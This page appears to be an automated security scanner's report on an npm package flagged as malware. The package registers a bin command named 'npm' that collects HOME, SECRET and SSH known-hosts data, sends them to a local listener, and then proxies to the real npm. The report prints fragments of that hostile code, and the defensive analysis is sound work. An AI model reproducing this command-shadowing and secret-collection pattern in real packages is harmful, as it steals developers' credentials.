registry / Credential exfiltration / @selfpentest/bin-confusion

@selfpentest/bin-confusion

An example package for training oneself that uses bin confusion to run a script

This report shows the evidence for @selfpentest/bin-confusion@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 25d ago · by lpm-firewall-ai

The active executable performs credential and local-file collection followed by a network send. Its npm command name makes the behavior especially likely to be triggered through command confusion.

Static reason

No blocking static signals were detected.

Trigger

Invocation of the installed npm bin command.

Impact

Sensitive environment and host information can be exfiltrated to a listener controlled by an attacker.

Mechanism

npm.js gathers environment values and a local SSH file fragment, sends them to http://localhost:1337, then runs npm.

Attack narrative

The package exposes npm.js as a command named npm, creating a command-confusion route. On command execution it calls a collection routine before proxying to the real npm process. That routine reads HOME and SECRET, reads part of the SSH known-hosts file, and places the results in an HTTP request to a local listener. The subsequent npm proxy can make the command appear normal while data is sent.

AI rationale

The active executable performs credential and local-file collection followed by a network send. Its npm command name makes the behavior especially likely to be triggered through command confusion.

Evidence

package.jsonnpm.js

Network endpoints1

localhost:1337

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package registers an executable named npm, which points to npm.js.
The executable collects HOME and SECRET environment variables.
It reads part of the user's SSH known-hosts file and sends collected data in a request to a local HTTP endpoint.
The credential-collection function runs before the executable proxies arguments to npm.

Evidence against

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 2.05 KB of source

Source & flagged code

5 flagged

package.jsonView file

Lines 1-14json

2 "name": "@selfpentest/bin-confusion",

3 "version": "1.0.1",

4 "bin": {

5 "npm": "npm.js"

6 },

7 "publishConfig": {

High

Ai Review Evidence

The package registers an executable named npm, which points to npm.js.

package.jsonView on unpkg · L4

8 "access": "public"

9 },

10 "author": "selfpentest",

11 "license": "MIT",

12 "description": "An example package for training oneself that uses bin confusion to run a script"

13}

•Runtime bin names shadowed by package manifest: npm

High

Node Runtime Bin Shadow

Package declares a bin command that shadows a Node package-manager runtime executable.

package.jsonView on unpkg

npm.jsView file

Lines 1-79javascript

1#!/usr/bin/env node

2const path = require("path");

4const steal = async (perpetrator) => {

Source & flagged code

5 flagged · loading source

package.jsonView file

•Runtime bin names shadowed by package manifest: npm

High

Node Runtime Bin Shadow

Package declares a bin command that shadows a Node package-manager runtime executable.

package.jsonView on unpkg

4"bin": { "npm": "npm.js" }, "publishConfig":

High

Ai Review Evidence

The package registers an executable named npm, which points to npm.js.

package.jsonView on unpkg · L4

npm.jsView file

9const secretFragment = []; try { secretFragment.push(process.env.HOME); secretFragment.push(process.env.SECRET); } catch (e) { // silence process._rawDebug

High

Ai Review Evidence

The executable collects HOME and SECRET environment variables.

npm.jsView on unpkg · L9

Findings

5 High3 Medium1 Low

HighNode Runtime Bin Shadowpackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidencenpm.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowFilesystem

Affected versions and remediation

This report applies to @selfpentest/bin-confusion@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing @selfpentest/bin-confusion@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-29 22:31:17.391Z (UTC).

Source advisory published: 2026-09-29 22:12:09.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.1latestshownMaliciousCredential ExfiltrationBlockPublishedSep 24, 2026, 10:53 AM 1.0.0MaliciousMalwareBlockPublishedAug 17, 2026, 9:28 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @selfpentest

Other credential exfiltration packages

Source & flagged code

Related packages

More from @selfpentest

Other credential exfiltration packages